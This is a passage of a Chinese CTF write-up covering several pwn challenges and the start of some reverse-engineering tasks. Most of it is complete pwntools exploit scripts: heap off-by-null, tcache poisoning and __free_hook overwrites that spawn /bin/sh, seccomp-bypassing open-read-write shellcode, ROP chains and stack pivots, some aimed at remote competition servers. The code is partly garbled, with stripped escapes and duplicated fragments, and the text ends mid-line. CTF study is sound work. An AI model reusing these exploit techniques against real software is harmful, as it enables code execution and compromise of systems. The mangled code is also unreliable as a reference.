申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。 剩下的爆破就行 到此呢我们做到了一个什么事情,我们可以得到程序的pie。 贴一下爆破的部分算了,剩下的就自己随便写了 from pwn import * libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6") def add(size, content): r.sendlineafter(">> ", "1") r.sendlineafter("size: ", str(size)) r.sendafter("content: ", content) def show(index): r.sendlineafter(">> ", "2") r.sendlineafter("index: ", str(index)) def dele(index): r.sendlineafter(">> ", "3") r.sendlineafter("index: ", str(index)) while True: try: r = process('./baby_diary') for i in range(22): add(0x1000,'\xff'*0x1000) add(0x7000000,'aaaa\n') show(-11) r.recvuntil('\x08') break except EOFError: r.close() continue leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008 gdb.attach(r) input() 然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。 它来自一篇博客。 2.29 off by null 它也是在伪造chunk,但是做法更复杂也更高级。 不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。 我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。 下面的图是我这里伪造好的chunk。 伪造好也是随便利用了。 EXP # encoding:utf-8 from pwn import * libc=ELF('./libc-2.31.so') def add(size,data='a'): p.recvuntil('>> ') p.sendline('1') p.recvuntil('ize: ') p.sendline(str(size)) p.recvuntil('content: ') p.sendline(str(data)) def show(id): p.recvuntil('>> ') p.sendline('2') p.recvuntil('dex: ') p.sendline(str(id)) def delete(id): p.recvuntil('>> ') p.sendline('3') p.recvuntil('dex: ') p.sendline(str(id)) while True: try: p=remote('8.140.114.72',1399) # p=process('./pwn') for i in range(8): add(0x1f) for i in range(7): add(0x7f) add(26639) add(0x1f) add(0x720-1) add(0x70-1) add(0x7f) delete(17) add(0x1010-1) delete(20) add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201)) for i in range(7): delete(i) for i in range(7): add(0x20) add(0x1f,'x60') for i in range(7): delete(i+8) delete(19) delete(21) add(0x1018) for i in range(7): add(0x80) add(0x80,p64(0)+'x60') delete(22) add(0x147,'x00'*0x140+p64(0)) delete(21) add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00')) delete(23) add(0xa0-1) show(21) p.recvuntil("content: ") leak_addr=u64(p.recv(6).ljust(8,'x00')) libcbase=leak_addr-0x1ebbe0 system_addr=libcbase+libc.sym['system'] free_addr=libcbase+libc.sym['__free_hook'] delete(16) add(0x1f,p64(0)+p64(0x31)) delete(22) delete(16) add(0x1f,'a'*0x10+p64(free_addr)) add(0x1f,'/bin/shx00') add(0x1f,p64(system_addr)) delete(22) p.interactive() except Exception as e: pass或者from pwn import* context.log_level = "debug" r = process("./baby_diary") libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6") def add(size, content): r.sendlineafter(">> ", "1") r.sendlineafter("size: ", str(size)) r.sendlineafter("content: ", content) def show(index): r.sendlineafter(">> ", "2") r.sendlineafter("index: ", str(index)) def delete(index): r.sendlineafter(">> ", "3") r.sendlineafter("index: ", str(index)) for i in range(7): add(0x38-1,'aaaa') # 0-6 add(0x98-1,"aaaa") #7 这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。 add(0xb40, "largebin") #8add(0x10, "aaaa") #9 delete(8) add(0x1000, '') #8 ;chunk8 to largebin add(0x38-1, '' ) # 10 # make fd->bk = fakechunk# 切割largebinadd(0x38-1,'aaaa') #11add(0x80,'aaaa') #12 能把chunk13放在最后一个字节\x00的地方add(0x38-1, 'a') #13add(0x38-1, 'b') #14add(0x38-1, 'c') #15add(0x38-1, 'd') #16 for i in range(7): delete(i) delete(15) #delete(13) #0x600 # clear tcachefor i in range(7): # 0-6 add(0x38-1, '') add(0x420,'aaaa') #13 fastbin to small binadd(0x38-1,p64(0x50)) #15 0x600 # fakechunk sizedelete(10)add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd # make bk->fd = fakechunk# clear chunk from tcacheadd(0x38-1, 'clear') #17 for i in range(7): #0-6 delete(i) # free to fastbindelete(11) delete(10) #fake_chunk 0x4f0 for i in range(7): #0 - 6 add(0x38-1, '') # change fake chunk's bk->fdadd(0x38-1, '') # fake pre_inuse / prev_sizedelete(16)add(0x38-1,'\x00'*0x37) #11delete(11)add(0x38-1,'\x00'*0x2f+'\x20') gdb.attach(r) delete(13) add(0x30, '')add(0x20, '')add(0x30, '') show(12) malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)libc_base = malloc_hook - libc.sym['__malloc_hook']system_addr = libc_base + libc.sym['system']free_hook = libc_base + libc.sym['__free_hook']print "libc_base = " + hex(libc_base) delete(17)delete(15) add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook)) # add(0x30,"cat flag\x00")add(0x30,'/bin/sh\x00') #17add(0x30,p64(system_addr)) #19 delete(17) r.interactive()libc_base = " + hex(libc_base) delete(17)delete(15)add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))# add(0x30,"cat flag\x00")add(0x30,'/bin/sh\x00') #17add(0x30,p64(system_addr)) #19delete(17) r.interactive() 2.[强网先锋]orw附件:https://pan.baidu.com/s/1qXjidBqXzcH_z_kjI-gSCQ 提取码:s97yRELRO没都开,能劫持got,NX也没开,总得写点shellcode。开了沙箱。是个堆只能申请两个chunk,但是好像有个序号可以越界。show edit都丢了,只剩了一个free free还挺干净那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。expfrom pwn import* import pwn content.log_level='debug' def add(id,size,content): p.recvuntil('choice >>n') p.sendline('1') p.recvuntil('ndex:n') p.sendline(str(id)) p.recvuntil('size:n') p.sendline(str(size)) p.recvuntil('content:n') p.send(str(content)) def delete(id): p.recvuntil('choice >>n') p.sendline('4') p.recvuntil('ndex:n') p.sendline(str(id)) shellcode=''' mov r8, rdi xor rsi,rsi mov rdi ,r8 mov rax, 2 syscall mov rdi, rax mov rsi, r8 mov rdx, 0x30 mov rax, 0 syscall mov rdi, 1 mov rsi,r8 mov rdx, 0x30 mov rax, 1 syscall ''' payload=pwn.asm(shellcode) add(0,8,'./flagx00'+'n') add(-25,'a',payload+'n') delete(0) p.interactive()或者from pwn import *#p=process('./pwn')p=remote("39.105.131.68","12354")context(os='linux',arch='amd64')shellcode=''' xor rax,rax xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rax,2 #open 调用号为2 mov rdi,0x67676c662f2e #为 galf/. 是./flag的相反 push rdi mov rdi,rsp syscall mov rdx,0x100 #sys_read(3,file,0x100) mov rsi,rdi mov rdi,rax mov rax,0 #read 调用号0 syscall mov rdi,1 #sys_write(1,file,0x30) mov rax,1 #write调用号是1 syscall'''p.recv()p.sendline('1')p.recvuntil('index')p.sendline('-0xd')p.recvuntil('size:')p.sendline('0')p.recvuntil('content')p.sendline(asm(shellcode))#gdb.attach(p)p.sendline('5')p.interactive() 3.[强网先锋]no_output漏洞 存在栈溢出: 思路 远程存在 real_flag.txt 读入后 unk_804C080 是 0x3 在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内 输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行: -2147483648/-1 产生错误之后跳转运行栈溢出函数 EXP from pwn import * context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # p = process("./test") p = remote("39.105.138.97",1234) libc = ELF("/lib/i386-linux-gnu/libc-2.27.so") elf = ELF("./test") # gdb.attach(p,"b *0x80494c0") # gdb.attach(p,"b *0x080492E2") # gdb.attach(p,"b *0x0804925B") # raw_input() p.send('x00'*2) sleep(0.1) p.send('./flag'.rjust(0x20,'a')) sleep(0.2) p.sendline("hello_boy") sleep(0.2) p.sendline("-2147483648") sleep(0.2) p.sendline("-1") bss = 0x0804c07c-2 payload = 'a'*0x48+'b'*0x4 # payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100) payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0) payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100) payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100) payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100) # payload += p32(0x0804944B) p.sendline(payload) # gdb.attach(p,"b *0x080492E2") # raw_input() # p.send("./flagx00") p.send('x30xfe') sleep(0.2) flag = p.recv(timeout=1) print flag # if '{' not in flag: # p.close() # return 0 p.interactive()4.babypwnoffbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用 libc是2.27的 保护全开。 还开了沙箱。 你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。 经典增删改查。 add 最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。 delete 清理的很干净 edit edit也看着没啥,里面有个函数,进去看看。 会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。 show 输出都点不大正常。首先发现它是前后四个字节分开的。 然后看一下那个输出函数。 加密的,好家伙 先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。 最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409) 这些chunk都是因为沙箱提前开的一些。 总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。 off by null我们还是有两种思路,一种是unlink,一种是off by null。 unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。 都来写一下,首先时unlink。 先通过chunk的残留地址把libc,heap地址都泄露出来 我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。 这个是利用setcontext的对比图。 从这个地方开始就开始利用堆上提前写好的内容。 要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。 EXP from pwn import* # context.log_level='debbug' elf=ELF('babypwn') libc=ELF('./libc.so.6') p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'}) #p=process('./babypwn') def add(size): p.recvuntil('>>> n') p.sendline('1') p.recvuntil('size:') p.sendline(str(size)) def edit(id,content): p.recvuntil('>>> n') p.sendline('3') p.recvuntil('index:') p.sendline(str(id)) p.recvuntil('content:') p.send(str(content)) def delete(id): p.recvuntil('>>> n') p.sendline('2') p.recvuntil('index:') p.sendline(str(id)) def show(id): p.recvuntil('>>> n') p.sendline('4') p.recvuntil('index:') p.sendline(str(id)) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0xf0) add(0xf0) add(0xf0) add(0xf0) add(0xf0) add(0xf0) add(0xf0) for i in range(9,3,-3): delete(i) for i in range(7): delete(10+i) delete(1) delete(0) add(0x108) edit(2,'b'*0xf0+p64(0)+p64(0x21)) edit(3,(p64(0)+p64(0x21))*7) edit(0,'b'*0x108) edit(0,'b'*0x100+p64(0x220)) delete(3) delete(2) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x100) add(0x200) add(0x100) delete(6) delete(5) delete(3) delete(0) edit(8,'a'*0x108+p64(0x110)+'x18x80') edit(9,p64(0)+'x60xe7') add(0x100) add(0x100) add(0x100) payload=p64(0xfbad1887)+p64(0)*3+'x00' edit(5,payload) p.recvuntil('x00'*8) lead_addr=u64(p.recv(8)) libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000) delete(4) delete(1) delete(0) free_addr=libc_base+libc.sym['__free_hook'] edit(8,'a'*0x108+p64(0x110)+p64(free_addr)) add(0x100) add(0x100) add(0x100) gadget=libc_base+0x520A5 open_addr=libc_base+libc.sym['open'] read_addr=libc_base+libc.sym['read'] write_addr=libc_base+libc.sym['write'] poprdi=libc_base+0x000000000002155f poprsi=libc_base+0x0000000000023e6a poprdx=libc_base+0x0000000000001b96 flag=free_addr+0xb0 add=free_addr payload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr) payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr) edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag') # gdb.attach(p) # raw_input() delete(1) p.interactive()或者import os import sys import subprocess from pwn import * context.arch = "amd64" context.log_level = "debug" elf_addr = "./babypwn" pro_libc = "./libc.so.6" # sh = remote("39.105.130.158",8888) sh = process(elf_addr) elf = ELF(elf_addr) def add(size): sh.recvuntil(">> \n") sh.sendline("1") sh.recvuntil("size:\n") sh.sendline(str(size)) def show(idx): sh.sendlineafter(">> \n","4") sh.sendlineafter("index:\n",str(idx)) def edit(idx,content): sh.sendlineafter(">> \n","3") sh.sendlineafter("index:\n",str(idx)) sh.sendlineafter("content:\n",content) def free(idx): sh.sendlineafter(">> \n","2") sh.sendlineafter("index:\n",str(idx)) def encode(a1): d1 = (32*a1)&0xffffffff d2 = d1^a1 d3 = d2>>17 d4 = ((d2 ^ d3) << 13)&0xffffffff a1 ^= d1 ^ d3 ^ d4 d1 = (32*a1)&0xffffffff d2 = d1^a1 d3 = d2>>17 d4 = ((d2 ^ d3) << 13)&0xffffffff a1 ^= d1 ^ d3 ^ d4 return hex(a1)[2:] def decode_1(a): log.progress("decode_1") for i in range(0x0, 0xff): head = chr(i)+"\x7f\x00\x00" if encode(u32(head))==str(a, encoding='utf-8'): success("ok~ decode_1") return head def decode_2(a): log.progress("decode_2") for i1 in range(0x0, 0xff): for i2 in range(0, 0xff): for i3 in range(2, 0xff, 0x10): last = "\x10"+chr(i3)+chr(i2)+chr(i1) if encode(u32(last)) ==str(a, encoding='utf-8'): success("ok~ decode_2") return last # off by null; overlaping 堆块向前合并 add(0xf8) #0 for i in range(7): #1-7 add(0xf8) add(0x108) #8 add(0x108) #9 for i in range(1,8): #1-7 free(i) free(0) edit(8, b"a"*0x108) edit(8, b"b"*0x100+p64(0x910)) edit(9, b"\x00"*0xf8+p64(0x11)) free(9) for i in range(7): # 0-6 add(0xf8) add(0x200) # idx_7 have idx_0-1 show(7) a2 = sh.recv(8) sh.recvuntil("\n") a1 = sh.recv(8) success("a1 => %s",a1) success("a2 => %s",a2) print(encode(0x7fff)) head = decode_1(a1) last = decode_2(a2) main_arena1488 = u64(last+head) success("main_arena96 => 0x%x",main_arena1488) libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"] success("libc_base => 0x%x",libc_base) free_hook = libc_base+libc.sym["__free_hook"] setcontext = libc_base+libc.sym["setcontext"] free(5) free(6) payload = flat([ "\x00"*0xf8, p64(0x101)+p64(free_hook-8) ]) edit(7, payload) add(0xf8) add(0xf8) shellcode = """ push 1 dec byte ptr [rsp] mov rax, 0x7478742e67616c66 push rax /* call open('rsp', 'O_RDONLY', 0) */ push 2 /* 2 */ pop rax mov rdi, rsp xor esi, esi /* O_RDONLY */ cdq /* rdx=0 */ syscall /* call sendfile(1, 'rax', 0, 0x7fffffff) */ mov r10d, 0x7fffffff mov rsi, rax push 40 /* 0x28 */ pop rax push 1 pop rdi cdq /* rdx=0 */ syscall """ payload2 = flat(["/bin/sh\x00", p64(setcontext + 53), p64(free_hook + 0x10), asm(shellcode) ]) edit(6, payload2) frame = SigreturnFrame() frame.rsp = free_hook + 0x8 frame.rdi = (free_hook) & 0xfffffffffffff000 frame.rsi = 0x1000 frame.rdx = 7 frame.rip = libc_base+libc.sym['mprotect'] edit(7, bytes(frame)) free(7) sh.interactive() 5.[强网先锋]shellcode写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。 https://www.codenong.com/cs105236336/ https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符 EXP # encoding:utf-8 from pwn import * from ae64 import AE64 # context.log_level = 'debug' # context.terminal = ['tmux','sp','-h'] file = context.binary = './shellcode' obj = AE64() append_x86 = ''' push ebx pop ebx ''' shellcode_x86 = ''' /*fp = open("flag")*/ mov esp,0x40404140 push 0x67616c66 push esp pop ebx xor ecx,ecx mov eax,5 int 0x80 mov ecx,eax /* read(fp,buf,0x70) */ /*mov eax,3*/ /*push 0x70*/ /*push ebx*/ /*push 3*/ /*int 0x80*/ ''' shellcode_flag = ''' push 0x33 push 0x40404089 retfq /*read(fp,buf,0x70)*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall ''' shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32') shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux') shellcode = '' append = ''' push rdx pop rdx ''' # 0x40404040 为32位shellcode地址 shellcode_mmap = ''' /*mmap(0x40404040,0x7e,7,34,0,0)*/ push 0x40404040 /*set rdi*/ pop rdi push 0x7e /*set rsi*/ pop rsi push 0x40 /*set rdx*/ pop rax xor al,0x47 push rax pop rdx push 0x40 /*set r8*/ pop rax xor al,0x40 push rax pop r8 push rax /*set r9*/ pop r9 /*syscall*/ push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x31],cl push 0x5f pop rcx xor byte ptr[rax+0x32],cl push 0x22 /*set rcx*/ /*pop rcx*/ pop r10 push 0x40/*set rax*/ pop rax xor al,0x49 syscall ''' shellcode_read = ''' /*read(0,0x40404040,0x70)*/ push 0x40404040 pop rsi push 0x40 pop rax xor al,0x40 push rax pop rdi xor al,0x40 push 0x70 pop rdx push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x57],cl push 0x5f pop rcx xor byte ptr[rax+0x58],cl push rdx pop rax xor al,0x70 syscall ''' shellcode_retfq = ''' push rbx pop rax xor al,0x40 push 0x72 pop rcx xor byte ptr[rax+0x40],cl push 0x68 pop rcx xor byte ptr[rax+0x40],cl push 0x47 pop rcx sub byte ptr[rax+0x41],cl push 0x48 pop rcx sub byte ptr[rax+0x41],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax retfq ''' shellcode = '' shellcode += shellcode_mmap shellcode += append shellcode += shellcode_read shellcode += append shellcode += shellcode_retfq shellcode += append sc = obj.encode(asm(shellcode),'rbx') #p=process(file) # gdb.attach(p,"b *0x40026D") # gdb.attach(p,"b *0x7ffff7ff9102") # raw_input() # p.send(sc) # pause() # p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag) # print p.recv() # p.interactive() def pwn(p, index, ch): #gdb.attach(p,"b *0x40026D") #pause() p.send(sc) shellcode='' if index == 0: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch) p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode)) #print p.recv() #p.interactive() index = 0 a = [] while True: for ch in range(20, 127): p = remote('39.105.137.118','50050') # p=process(file) pwn(p, index, ch) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if end-start > 1.5: a.append(ch) print("".join([chr(i) for i in a])) break else: print("".join([chr(i) for i in a])) break index = index + 1 print("".join([chr(i) for i in a])) 6.no output(栈迁移):你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~ 检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打? 然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错 说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了 exp如下: #!/usr/bin/env python # coding=utf-8 from pwn import * #sh=process('./test') #sh=remote('39.105.138.97',1234) elf=ELF("./test") libc=elf.libc context.log_level='debug' context.arch='i386' leave_ret=0x80491a5 ret_addr=0x0804900e read_100_addr=0x08049236 def pwn(): sh.sendline('\x00'*1) print str(proc.pidof(sh)) #gdb.attach(sh, '''b *0x080492a8''') payload=p8(0)*2 #pause() sh.sendline(payload) sleep(1) sh.sendline(str(-2147483648)) sh.sendline(str(-1)) payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000) payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100) sh.sendline(payload1) #pause() sh.sendline(payload2) #pause() sh.send(p16(0x4c90)) read_addr=u32(sh.recv()) log.success("read addr: "+hex(read_addr)) libc.address=read_addr-libc.sym['read'] log.success("system addr: "+hex(libc.sym['system'])) libc_base=read_addr-libc.sym['read'] sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next())) sh.interactive() while True: #sh=process('./test') sh=remote('39.105.138.97',1234) try: pwn() except: sh.close() 7.pipelinelibc2.31 堆溢出 配合对风水直接修改pipe->data, 实现任意地址修改, 漏洞主要是写入data的时候v1是有符号16位, 后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64, 这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe->data位, 实现任意地址写 from pwn import * context.log_level = 'debug' context.terminal = ["tmux","new-window"] p = remote("59.110.173.239", 239) #p = process("./pipeline"l) libc = ELF("./libc-2.31.so") def new(): p.recvuntil(">> ") p.sendline("1") def edit(index, size): p.recvuntil(">> ") p.sendline("2") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("offset: ") p.sendline(str(0)) p.recvuntil("size: ") p.sendline(str(size)) def destroy(index): p.recvuntil(">> ") p.sendline("3") p.recvuntil("index: ") p.sendline(str(index)) def append(index, size, data): p.recvuntil(">> ") p.sendline("4") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("size: ") p.sendline(str(size)) p.recvuntil("data: ") p.sendline(data) def show(index): p.recvuntil(">> ") p.sendline("5") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("data: ") new() new() new() edit(0,0x68) edit(1,0x68) edit(0,0) edit(1,0) edit(1,0x68) edit(0,0x450) edit(1,0x78) edit(0,0) edit(0,0x18) show(0) #leak libc libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400 #getshell new() payload = b'b'*0x18 + p64(0x21) payload += p64(libc_base + libc.symbols["__free_hook"]) payload += p32(0) + p32(0x100) append(0, 0x80000100, payload) #gdb.attach(p) append(3, 0x20, p64(libc_base + libc.symbols["system"])) append(0, 0x20, '/bin/sh\x00') edit(0,0) log.info("libc_base------------------>"+hex(libc_base)) p.interactive() RE附件:https://pan.baidu.com/s/1fU--SjhDX0QrB3b9nPsDEQ,提取码:subo1.ezmath奇怪的思路,但也算是出了flag。 bdl_4020是一个double数组,内容是19个小数。sub_13F3函数如图: v3的初值是0.2021,但是在运行过程中修改成了0.000483v3是一个递推的关系,递推公式是a n + 1 = e − n × a n a_{n+1}=e-n\times a_na n+1 =e−n×a n 用python简单的打一个表,可以发现v3初值无论为多少,经过80次左右的循环后,都会在正负无穷之间跳跃。 >>> v3 = [0.000483]>>> for i in range(0x2021,0x2021+100): v3.append(math.e-i*v3[-1]) >>> v3[-20:][-inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf]v3是不收敛的,更不用说令v3等于double数组中的小数值。多种尝试无果,于是尝试让a n 强行收敛试试,也就是令 即 化简得: 很奇怪但大家懂这意思就行 观察double数组中的值,e i \frac{e}{i} ie 的值都接近整数>>> [math.e/i for i in dbl][27751.99996396786, 26466.999962218535,29564.999966177365,24930.99995989091,24430.999959070075, 26981.999962939633, 24430.999959070075, 25960.999961482154, 24426.999959063374, 25965.99996148958, 24426.999959063374, 24939.999959905384,24430.999959070075, 24932.99995989413, 24418.999959049965, 26996.999962960217, 24431.999959071745, 24941.999959908593,32098.999968847354]可以初步判断是正确的于是把 的值作为flag内容代码如下from math import *a = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,\ 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,\ 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,\ 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,\ 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,\ 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,\ 0.00008468431512187874]aa = [round(e/i) for i in a] def f(n): b = bin(n)[2:].zfill(16) return chr(int(b[8:],2))+chr(int(b[:8],2)) #是后半段+前半段,要反过来print(''.join(f(i) for i in aa)) #===============输出========================#hlcg}scao_fio_iek_nek_lao_eac_uip_nac}很明显有flag的形式了,但是需要调整。前缀“ flag{ ”与输出“ hlcg} ”,观察得到,是每两个字符的前一个字符,对应ASCII码+2即可。于是修改函数的返回值 def f(n): b = bin(n)[2:].zfill(16) return chr(int(b[8:],2)-2)+chr(int(b[:8],2)) #这里减2得到输出flag{saam_dim_gei_lei_jam_caa_sin_laa}import codecs t=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895, 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854, 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219, 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966, 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088, 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874] div = 2.718281828459045 def c(n): t_int = int(div // n) print(hex(t_int)) if abs(t_int * n - div) < abs((t_int - 1) * n - div): t_int -=1 t_hex = hex(t_int)[2:] t_chr = codecs.decode(t_hex,'hex') return t_chr[::-1].decode() for i in t: print(c(i),end='n')2.LongTimeAgodef xt_dec(num, enc, k): value0 = enc[0] value1 = enc[1] data = 0x70C88617 sum = 0xE6EF3D20 for i in range(num): value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3]) value1 &= 0xffffffff sum += data value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3]) value0 &= 0xffffffff return (value0, value1) def t_dec(enc, k): value0 = enc[0] value1 = enc[1] sum = 0xa6a53780 data = 0x3D3529BC for i in range(32): value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3]) value1 &= 0xffffffff value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1]) value0 &= 0xffffffff sum -= data return (value0, value1) encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537] for i in range(0, 4, 2): encode[i] ^= 0xfd encode[i + 1] ^= 0x1fd for i in range(4, 8, 2): encode[i] ^= 0x3fd encode[i + 1] ^= 0x7fd k = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd] result = '' for i in range(0, 4, 2): a = 